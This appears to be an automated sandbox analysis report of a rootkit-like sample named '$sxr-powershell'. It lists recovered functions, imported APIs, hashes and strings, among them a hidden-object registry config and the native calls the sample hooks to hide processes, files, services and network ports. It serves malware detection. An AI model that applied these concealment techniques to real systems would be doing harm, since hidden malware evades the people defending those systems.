Instruction ID: bfc0933a42f260a83bef2ad8167715c5531943cfd50ec85bbeaadd7065d2b760
Opcode Fuzzy Hash: bf2751ef55c665aff01e41f41a14ea320b18bc0fc293de3ccf6fce87d8dc1143
Instruction Fuzzy Hash: 8D01D83271CA0D4FEB98DA1CE85157133D1EBE9320F10057FE44AC7296D826F9478740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BAB3D68 Relevance: .0, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000015.00000002.2992880520.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bab0000_$sxr-powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23dab133d60369e39cc8f2f524a89731ce62384872f4ecf44cab9d93a85f5f1c
Instruction ID: fa4c20de2378ec7f13d0e4bd28f131df8fda48e98a36ce012c8bafa901a46184
Opcode Fuzzy Hash: 23dab133d60369e39cc8f2f524a89731ce62384872f4ecf44cab9d93a85f5f1c
Instruction Fuzzy Hash: 61F0A03271C6088FDB4CAA0CF8129B473D0EB99325B10016EF48BC2296E927E842CA81

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00000242878B2D78 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264stringlibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00000242878B2E1C
lstrlenW.KERNEL32 ref: 00000242878B3056

Part of subcall function 00000242878B1A14: OpenProcess.KERNEL32 ref: 00000242878B1A3A
Part of subcall function 00000242878B1A14: K32GetModuleFileNameExW.KERNEL32 ref: 00000242878B1A58
Part of subcall function 00000242878B1A14: PathFindFileNameW.SHLWAPI ref: 00000242878B1A67
Part of subcall function 00000242878B1A14: lstrlenW.KERNEL32 ref: 00000242878B1A73
Part of subcall function 00000242878B1A14: StrCpyW.SHLWAPI ref: 00000242878B1A86
Part of subcall function 00000242878B1A14: CloseHandle.KERNEL32 ref: 00000242878B1A94

GetProcAddress.KERNEL32 ref: 00000242878B2E31

Part of subcall function 00000242878B1554: StrCmpIW.SHLWAPI ref: 00000242878B1585

Part of subcall function 00000242878B39D0: StrCmpNIW.SHLWAPI ref: 00000242878B39E8

StrCmpNIW.SHLWAPI ref: 00000242878B2E74
lstrlenW.KERNEL32 ref: 00000242878B2F9C

Strings

NtQueryObject, xrefs: 00000242878B2E27
\Device\Nsi, xrefs: 00000242878B2E67
ntdll.dll, xrefs: 00000242878B2E15

Memory Dump Source

Source File: 00000015.00000002.2925614777.00000242878B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000242878B0000, based on PE: true

Associated: 00000015.00000002.2925614777.00000242878D5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_242878b0000_$sxr-powershell.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: feab1d2498c9250a2661425e4b8a349dfcf4a1842f0d5ab31da7a7890f0a6070
Instruction ID: e8fc43d282ff817fdb2e7ffed006ba8edfb5ab155a8182f3f93681aba050cadf
Opcode Fuzzy Hash: feab1d2498c9250a2661425e4b8a349dfcf4a1842f0d5ab31da7a7890f0a6070
Instruction Fuzzy Hash: 41B18E22211E99C2EB648F27DC487AD73A4FBC4B94F945016FE0953B95DB35CC89E360

Uniqueness

Uniqueness Score: -1.00%

Function 00000242878B7F10 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00000242878B7F2C
RtlCaptureContext.NTDLL ref: 00000242878B7F59
RtlLookupFunctionEntry.NTDLL ref: 00000242878B7F73
RtlVirtualUnwind.NTDLL ref: 00000242878B7FB4
IsDebuggerPresent.KERNEL32 ref: 00000242878B8008
SetUnhandledExceptionFilter.KERNEL32 ref: 00000242878B8029
UnhandledExceptionFilter.KERNEL32 ref: 00000242878B8034

Memory Dump Source

Source File: 00000015.00000002.2925614777.00000242878B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000242878B0000, based on PE: true

Associated: 00000015.00000002.2925614777.00000242878D5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_242878b0000_$sxr-powershell.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 86c6cc936ed28f5d2962041aedd63c90dfcb8f061e08dbf1cd00c8f518c42c6a
Instruction ID: b2c7f5da0dfdc04dad31719fe8fa5608131db3973d0fdec6922bc5db2ac3a904
Opcode Fuzzy Hash: 86c6cc936ed28f5d2962041aedd63c90dfcb8f061e08dbf1cd00c8f518c42c6a
Instruction Fuzzy Hash: 6B313972205F84C6EBA08F62E8847DD7364F784744F84442AEA4E57B95DF38C5499724

Uniqueness

Uniqueness Score: -1.00%

Function 00000242878BB5AC Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 00000242878BB625
RtlLookupFunctionEntry.NTDLL ref: 00000242878BB63D
RtlVirtualUnwind.NTDLL ref: 00000242878BB678
IsDebuggerPresent.KERNEL32 ref: 00000242878BB6B1
SetUnhandledExceptionFilter.KERNEL32 ref: 00000242878BB6BB
UnhandledExceptionFilter.KERNEL32 ref: 00000242878BB6C6

Memory Dump Source

Source File: 00000015.00000002.2925614777.00000242878B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000242878B0000, based on PE: true

Associated: 00000015.00000002.2925614777.00000242878D5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_242878b0000_$sxr-powershell.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 2df9c3f406e14fd3d0afe694dc4f4ee33357f5db5aa88c620fdb935c0216887e
Instruction ID: 65c50acfdce31f57474f151be5413d3d2cbff502b09abcfa992f037cdedbf34c
Opcode Fuzzy Hash: 2df9c3f406e14fd3d0afe694dc4f4ee33357f5db5aa88c620fdb935c0216887e
Instruction Fuzzy Hash: BF316D32214F84DAEB608F26EC4839E77A4F7C9758F940116FA9D43B95DF38C54A9B10

Uniqueness

Uniqueness Score: -1.00%

Function 00000242878BFF98 Relevance: 7.8, APIs: 5, Instructions: 328fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00000242878C0007
WriteFile.KERNEL32 ref: 00000242878C02BE
WriteFile.KERNEL32 ref: 00000242878C0310
GetLastError.KERNEL32 ref: 00000242878C0412
GetLastError.KERNEL32 ref: 00000242878C0472

Memory Dump Source

Source File: 00000015.00000002.2925614777.00000242878B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000242878B0000, based on PE: true

Associated: 00000015.00000002.2925614777.00000242878D5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_242878b0000_$sxr-powershell.jbxd

Similarity

API ID: ErrorFileLastWrite$ConsoleOutput
String ID:
API String ID: 1443284424-0
Opcode ID: 842ab73a7096774a6d188e7949bc9c8e52c1e7c3cc90b953deb272e28a8da832
Instruction ID: 26ffe1bda86b0859e5fef5f50274fe9c531f28c6716193dedd5b4755879c8942
Opcode Fuzzy Hash: 842ab73a7096774a6d188e7949bc9c8e52c1e7c3cc90b953deb272e28a8da832
Instruction Fuzzy Hash: BEE11072B15A88CAF740CF66D8882DD7BB0F3C47C8F944106EE6A57B99DA38C51AD710

Uniqueness

Uniqueness Score: -1.00%

Function 000002428788B0D0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 165COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000002428788B100

Strings

HIJKLMNOPQRSTUVWXYZ, xrefs: 000002428788B483
*?, xrefs: 000002428788B127

Memory Dump Source

Source File: 00000015.00000002.2924790905.0000024287880000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000024287880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_24287880000_$sxr-powershell.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: *?$HIJKLMNOPQRSTUVWXYZ
API String ID: 3215553584-1407779936
Opcode ID: 0f32a7f2b4fad7165c24a511c7a5f2eb758ad1cabc3439966c459bfc2effdee2
Instruction ID: 81ed1a131aad4159f9906cf65deeac8c0bc9dd2baa248632df241082d51a89b4
Opcode Fuzzy Hash: 0f32a7f2b4fad7165c24a511c7a5f2eb758ad1cabc3439966c459bfc2effdee2
Instruction Fuzzy Hash: E351AF66710E9CC9EF14DBA69C0869D7BA1FBD8BD8F844525EE190BB85DB38C0499320

Uniqueness

Uniqueness Score: -1.00%

Function 00000242878B1650 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00000242878B165B
HeapAlloc.KERNEL32 ref: 00000242878B166A

Part of subcall function 00000242878B1274: GetProcessHeap.KERNEL32 ref: 00000242878B127A
Part of subcall function 00000242878B1274: HeapAlloc.KERNEL32 ref: 00000242878B1289
Part of subcall function 00000242878B1274: GetProcessHeap.KERNEL32 ref: 00000242878B12A3
Part of subcall function 00000242878B1274: HeapAlloc.KERNEL32 ref: 00000242878B12B4

RegOpenKeyExW.ADVAPI32 ref: 00000242878B16DA
RegOpenKeyExW.ADVAPI32 ref: 00000242878B1707
RegCloseKey.ADVAPI32 ref: 00000242878B1721
RegOpenKeyExW.ADVAPI32 ref: 00000242878B1741
RegCloseKey.ADVAPI32 ref: 00000242878B175C
RegOpenKeyExW.ADVAPI32 ref: 00000242878B177C
RegCloseKey.ADVAPI32 ref: 00000242878B1797
RegOpenKeyExW.ADVAPI32 ref: 00000242878B17B7
RegCloseKey.ADVAPI32 ref: 00000242878B17D2
RegOpenKeyExW.ADVAPI32 ref: 00000242878B17F2
RegCloseKey.ADVAPI32 ref: 00000242878B180D
RegOpenKeyExW.ADVAPI32 ref: 00000242878B182D
RegCloseKey.ADVAPI32 ref: 00000242878B1848
RegOpenKeyExW.ADVAPI32 ref: 00000242878B1868
RegCloseKey.ADVAPI32 ref: 00000242878B1883
RegOpenKeyExW.ADVAPI32 ref: 00000242878B18A3
RegCloseKey.ADVAPI32 ref: 00000242878B18BE
RegCloseKey.ADVAPI32 ref: 00000242878B18C8

Part of subcall function 00000242878B12C8: RegQueryInfoKeyW.ADVAPI32 ref: 00000242878B1326
Part of subcall function 00000242878B12C8: GetProcessHeap.KERNEL32 ref: 00000242878B1334
Part of subcall function 00000242878B12C8: HeapAlloc.KERNEL32 ref: 00000242878B1345
Part of subcall function 00000242878B12C8: RegEnumValueW.ADVAPI32 ref: 00000242878B13A1
Part of subcall function 00000242878B12C8: GetProcessHeap.KERNEL32 ref: 00000242878B13E9
Part of subcall function 00000242878B12C8: HeapAlloc.KERNEL32 ref: 00000242878B13F7
Part of subcall function 00000242878B12C8: GetProcessHeap.KERNEL32 ref: 00000242878B141B
Part of subcall function 00000242878B12C8: HeapFree.KERNEL32 ref: 00000242878B1429
Part of subcall function 00000242878B12C8: lstrlenW.KERNEL32 ref: 00000242878B1432
Part of subcall function 00000242878B12C8: GetProcessHeap.KERNEL32 ref: 00000242878B1440
Part of subcall function 00000242878B12C8: HeapAlloc.KERNEL32 ref: 00000242878B144E

Strings

paths, xrefs: 00000242878B17B0
SOFTWARE\$sxrconfig, xrefs: 00000242878B16BA
service_names, xrefs: 00000242878B17EB
startup, xrefs: 00000242878B16FD
process_names, xrefs: 00000242878B1775
udp, xrefs: 00000242878B189C
pid, xrefs: 00000242878B173A
tcp_local, xrefs: 00000242878B1826
tcp_remote, xrefs: 00000242878B1861

Memory Dump Source

Source File: 00000015.00000002.2925614777.00000242878B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000242878B0000, based on PE: true

Associated: 00000015.00000002.2925614777.00000242878D5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_242878b0000_$sxr-powershell.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\$sxrconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-3028563969
Opcode ID: f9b6faae0a979f39743cc682957071b74d06d81fd61630455472d213707cb3d2
Instruction ID: d0667cff50b6383790cebcfb198c96d949f041649ec966473b764f80f9bd9b6c
Opcode Fuzzy Hash: f9b6faae0a979f39743cc682957071b74d06d81fd61630455472d213707cb3d2
Instruction Fuzzy Hash: 60710826711E59C6FB509F66EC9869D37A4FBC8B88F801121EE4D47B28DF38C449E760

Uniqueness

Uniqueness Score: -1.00%

Function 00000242878B1EB0 Relevance: 28.1, APIs: 2, Strings: 14, Instructions: 72
librarythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32 ref: 00000242878B1EBD
GetCurrentThread.KERNEL32 ref: 00000242878B1EC8

Part of subcall function 00000242878B21C0: GetModuleHandleA.KERNEL32 ref: 00000242878B21D8
Part of subcall function 00000242878B21C0: GetProcAddress.KERNEL32 ref: 00000242878B21E9

Part of subcall function 00000242878B5CB0: GetCurrentThreadId.KERNEL32 ref: 00000242878B5CEB

Strings

Sysprep_Clean_Validate_Opk, xrefs: 00000242878B2019
NtEnumerateValueKey, xrefs: 00000242878B1F7F
spopk.dll, xrefs: 00000242878B1EB6, 00000242878B2020
NtQuerySystemInformation, xrefs: 00000242878B1EEE
sechost.dll, xrefs: 00000242878B1FE2
NtDeviceIoControlFile, xrefs: 00000242878B1FFF
NtResumeThread, xrefs: 00000242878B1F0B
EnumServiceGroupW, xrefs: 00000242878B1F99
NtQueryDirectoryFile, xrefs: 00000242878B1F28
EnumServicesStatusExW, xrefs: 00000242878B1FBA, 00000242878B1FDB
NtQueryDirectoryFileEx, xrefs: 00000242878B1F45
advapi32.dll, xrefs: 00000242878B1FA0, 00000242878B1FC1
ntdll.dll, xrefs: 00000242878B1ED6
NtEnumerateKey, xrefs: 00000242878B1F62

Memory Dump Source

Source File: 00000015.00000002.2925614777.00000242878B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000242878B0000, based on PE: true

Associated: 00000015.00000002.2925614777.00000242878D5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_242878b0000_$sxr-powershell.jbxd

Similarity

API ID: CurrentThread$AddressHandleLibraryLoadModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$Sysprep_Clean_Validate_Opk$advapi32.dll$ntdll.dll$sechost.dll$spopk.dll
API String ID: 1741086925-759476645
Opcode ID: fdb9ee048accc148592a3936cc90690a843ff47089991e14ccff5ee3cdc74a61
Instruction ID: 74af722d704aa52d7dd80c06996a5d7b5c90cc0874eb437132ae27abcaad0d5a
Opcode Fuzzy Hash: fdb9ee048accc148592a3936cc90690a843ff47089991e14ccff5ee3cdc74a61
Instruction Fuzzy Hash: 0141B264222E4EE1FA84EB67EC9E6DC3329A7C4354FC44413B40906172AE78C28EF371

Uniqueness

Uniqueness Score: -1.00%

Function 00000242878B12C8 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120memoryregistrystringCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000242878B1326
GetProcessHeap.KERNEL32 ref: 00000242878B1334
HeapAlloc.KERNEL32 ref: 00000242878B1345
RegEnumValueW.ADVAPI32 ref: 00000242878B13A1

Part of subcall function 00000242878B1554: StrCmpIW.SHLWAPI ref: 00000242878B1585

GetProcessHeap.KERNEL32 ref: 00000242878B13E9
HeapAlloc.KERNEL32 ref: 00000242878B13F7
GetProcessHeap.KERNEL32 ref: 00000242878B141B
HeapFree.KERNEL32 ref: 00000242878B1429
lstrlenW.KERNEL32 ref: 00000242878B1432
GetProcessHeap.KERNEL32 ref: 00000242878B1440
HeapAlloc.KERNEL32 ref: 00000242878B144E
StrCpyW.SHLWAPI ref: 00000242878B1470
GetProcessHeap.KERNEL32 ref: 00000242878B1485
HeapFree.KERNEL32 ref: 00000242878B1493

Strings

d, xrefs: 00000242878B1365

Memory Dump Source

Source File: 00000015.00000002.2925614777.00000242878B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000242878B0000, based on PE: true

Associated: 00000015.00000002.2925614777.00000242878D5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_242878b0000_$sxr-powershell.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 6bcc7a94b8732a062315a7af28d29bd62de89db6d10a7923a3b74cbbd2f289e1
Instruction ID: 8dd657620ce537d9c9411cb04f0a32aaed89b0dbb4a0c8a547b4d40bfc6c0a42
Opcode Fuzzy Hash: 6bcc7a94b8732a062315a7af28d29bd62de89db6d10a7923a3b74cbbd2f289e1
Instruction Fuzzy Hash: B8515A72605F48D7F754CF62E94839EB7A2F7C8B80F848125EA4907B14EF38C05AA750

Uniqueness

Uniqueness Score: -1.00%

Function 00000242878B2444 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52filethreadCOMMON

Download Yara Rule

APIs

GetProcessIdOfThread.KERNEL32 ref: 00000242878B2459
GetCurrentProcessId.KERNEL32 ref: 00000242878B2463

Part of subcall function 00000242878B19AC: OpenProcess.KERNEL32 ref: 00000242878B19CA
Part of subcall function 00000242878B19AC: IsWow64Process.KERNEL32 ref: 00000242878B19E0
Part of subcall function 00000242878B19AC: CloseHandle.KERNEL32 ref: 00000242878B19FB

CreateFileW.KERNEL32 ref: 00000242878B24BC
WriteFile.KERNEL32 ref: 00000242878B24E4
ReadFile.KERNEL32 ref: 00000242878B2503
CloseHandle.KERNEL32 ref: 00000242878B250C

Strings

\\.\pipe\$sxrchildproc34226543a32, xrefs: 00000242878B2493
\\.\pipe\$sxrchildproc38764243a64, xrefs: 00000242878B248C

Memory Dump Source

Source File: 00000015.00000002.2925614777.00000242878B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000242878B0000, based on PE: true

Associated: 00000015.00000002.2925614777.00000242878D5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_242878b0000_$sxr-powershell.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\$sxrchildproc34226543a32$\\.\pipe\$sxrchildproc38764243a64
API String ID: 2171963597-1213686612
Opcode ID: 222afe9738357af78c0991e138f7f32301e44ba52e3deabe560e99e21132f038
Instruction ID: fd1154e5a97ad47fd7dfc1f032cceb0fd5da4c058c203308de1f2b76b8124cd7
Opcode Fuzzy Hash: 222afe9738357af78c0991e138f7f32301e44ba52e3deabe560e99e21132f038
Instruction Fuzzy Hash: 13213936614A48C3FB50CB26E85835E73A1F3C9BA5F944215EA5A42BA8DF3CC14DEB11

Uniqueness

Uniqueness Score: -1.00%

Function 00000242878B104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 97memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000242878B10AB
RegEnumValueW.ADVAPI32 ref: 00000242878B110E
GetProcessHeap.KERNEL32 ref: 00000242878B1155
HeapAlloc.KERNEL32 ref: 00000242878B1163
GetProcessHeap.KERNEL32 ref: 00000242878B1187
HeapFree.KERNEL32 ref: 00000242878B1195

Strings

d, xrefs: 00000242878B10CE

Memory Dump Source

Source File: 00000015.00000002.2925614777.00000242878B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000242878B0000, based on PE: true

Associated: 00000015.00000002.2925614777.00000242878D5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_242878b0000_$sxr-powershell.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 3405b6d6aca030105382ba4e18177f2fb021de4e8f3198299b80cfe6290b74ba
Instruction ID: 902e14018565562aa35a409fde77efcfef2adf4e2c18ee7cd3c258b4c7d20de7
Opcode Fuzzy Hash: 3405b6d6aca030105382ba4e18177f2fb021de4e8f3198299b80cfe6290b74ba
Instruction Fuzzy Hash: A5418033614B84DBE7608F62E84879EB7A1F3C9B84F408125EB890BB54DF38D169DB10

Uniqueness

Uniqueness Score: -1.00%

Function 0000024287886A90 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 0000024287886AB8
__scrt_acquire_startup_lock.LIBCMT ref: 0000024287886B0A
_RTC_Initialize.LIBCMT ref: 0000024287886B38
__scrt_dllmain_after_initialize_c.LIBCMT ref: 0000024287886B5E
__scrt_release_startup_lock.LIBCMT ref: 0000024287886B89

Memory Dump Source

Source File: 00000015.00000002.2924790905.0000024287880000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000024287880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_24287880000_$sxr-powershell.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: b902a8228d0a566df5327651209e30a0b1120f59ef4b7f207320f33e0dc57618
Instruction ID: 48f2fb88e1756e85ee90db38ca22e48e40a0204e5f82cdc94c6fed6a3fef0abc
Opcode Fuzzy Hash: b902a8228d0a566df5327651209e30a0b1120f59ef4b7f207320f33e0dc57618
Instruction Fuzzy Hash: 2281DF21700E4DC6FA60AB679C4D39D72E1ABC6784FC84425BA2597797DB39C84DB330

Uniqueness

Uniqueness Score: -1.00%

Function 00000242878B7690 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000242878B76B8
__scrt_acquire_startup_lock.LIBCMT ref: 00000242878B770A
_RTC_Initialize.LIBCMT ref: 00000242878B7738
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000242878B775E
__scrt_release_startup_lock.LIBCMT ref: 00000242878B7789

Memory Dump Source

Source File: 00000015.00000002.2925614777.00000242878B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000242878B0000, based on PE: true

Associated: 00000015.00000002.2925614777.00000242878D5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_242878b0000_$sxr-powershell.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: b902a8228d0a566df5327651209e30a0b1120f59ef4b7f207320f33e0dc57618
Instruction ID: c94fe917d8982e622e4ea7673f8c3e62ea09d20832aedbb4e7a19b0a91dbf12f
Opcode Fuzzy Hash: b902a8228d0a566df5327651209e30a0b1120f59ef4b7f207320f33e0dc57618
Instruction Fuzzy Hash: F981C120604F4DC6FAA4AB779C4D35D7291ABC5B80FDC4426BA0947B96DB38C94EB730

Uniqueness

Uniqueness Score: -1.00%

Function 00000242878B98A4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 00000242878B9929
GetLastError.KERNEL32 ref: 00000242878B9937
LoadLibraryExW.KERNEL32 ref: 00000242878B9961
FreeLibrary.KERNEL32 ref: 00000242878B99A7
GetProcAddress.KERNEL32 ref: 00000242878B99B3

Strings

api-ms-, xrefs: 00000242878B9949

Memory Dump Source

Source File: 00000015.00000002.2925614777.00000242878B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000242878B0000, based on PE: true

Associated: 00000015.00000002.2925614777.00000242878D5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_242878b0000_$sxr-powershell.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: b9fc0f4bc552b3b3a9613ae8c221c9ea50584cfdf87ea6a2e8fae9693c69d0a1
Instruction ID: a39331e6bca1afab7eba74c8a94299d882aaa60abddbcbd36736378cac2adc5c
Opcode Fuzzy Hash: b9fc0f4bc552b3b3a9613ae8c221c9ea50584cfdf87ea6a2e8fae9693c69d0a1
Instruction Fuzzy Hash: B631A431312E58D1FE919B23AC4879D7298BBD4BA0F990525FD2D47795EF38C44DA320

Uniqueness

Uniqueness Score: -1.00%

Function 00000242878C1C3C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00000242878C1C6D
GetLastError.KERNEL32 ref: 00000242878C1C79
CloseHandle.KERNEL32 ref: 00000242878C1C91
CreateFileW.KERNEL32 ref: 00000242878C1CBC
WriteConsoleW.KERNEL32 ref: 00000242878C1CDB

Strings

CONOUT$, xrefs: 00000242878C1C9D

Memory Dump Source

Source File: 00000015.00000002.2925614777.00000242878B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000242878B0000, based on PE: true

Associated: 00000015.00000002.2925614777.00000242878D5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_242878b0000_$sxr-powershell.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: f8e4fb7eb8850db5dfc64f60f3363a5c279c997be71987712cd29a709cc65782
Instruction ID: e9b8c1dbf4e9a2362e80e279a4bbb389f60b78c27a9a705bc7eec1bf1d39c8f4
Opcode Fuzzy Hash: f8e4fb7eb8850db5dfc64f60f3363a5c279c997be71987712cd29a709cc65782
Instruction Fuzzy Hash: 0E118B22715F44C6F3908B43EC4831D76A0F7C8BE4F804225FA1D87B94CB38C8089760

Uniqueness

Uniqueness Score: -1.00%

Function 00000242878B5CB0 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000242878B5CEB
GetThreadContext.KERNEL32 ref: 00000242878B5E55

Part of subcall function 00000242878B5AE0: GetCurrentThreadId.KERNEL32 ref: 00000242878B5AE4

Memory Dump Source

Source File: 00000015.00000002.2925614777.00000242878B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000242878B0000, based on PE: true

Associated: 00000015.00000002.2925614777.00000242878D5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_242878b0000_$sxr-powershell.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: a98e7eacdc5a578abce32cb4d6227d29aaf631d1a1811a31ba6b33f7cbd6c913
Instruction ID: e5794828e695e22a818fd33cf6ab3cda79581dfeaa2543085c128657eae6a2e2
Opcode Fuzzy Hash: a98e7eacdc5a578abce32cb4d6227d29aaf631d1a1811a31ba6b33f7cbd6c913
Instruction Fuzzy Hash: 5CD19A76209F88C5EA70DB1BE89835EB7A0F7C8B84F540216EA8D47BA5DF38C545DB10

Uniqueness

Uniqueness Score: -1.00%

Function 00000242878B3150 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000242878B3173
HeapAlloc.KERNEL32 ref: 00000242878B3186
StrCmpNIW.SHLWAPI ref: 00000242878B3201
GetProcessHeap.KERNEL32 ref: 00000242878B3267
HeapFree.KERNEL32 ref: 00000242878B3275

Strings

$sxr, xrefs: 00000242878B31FA

Memory Dump Source

Source File: 00000015.00000002.2925614777.00000242878B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000242878B0000, based on PE: true

Associated: 00000015.00000002.2925614777.00000242878D5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_242878b0000_$sxr-powershell.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: $sxr
API String ID: 756756679-21942930
Opcode ID: a56984c12cd63be28461b1521c27a5cf1022700db7ead991f356a21bfefe692f
Instruction ID: f66fb2cb3932431e194da0d9eaa7b422ed020b336a6d80b32caebd582fe197e1
Opcode Fuzzy Hash: a56984c12cd63be28461b1521c27a5cf1022700db7ead991f356a21bfefe692f
Instruction Fuzzy Hash: 42315922706F59D6E6659F57AD4826D77A0FBC4B81F888020AF8D07B54EB38C4AA9710

Uniqueness

Uniqueness Score: -1.00%

Function 00000242878B1A14 Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00000242878B1A3A
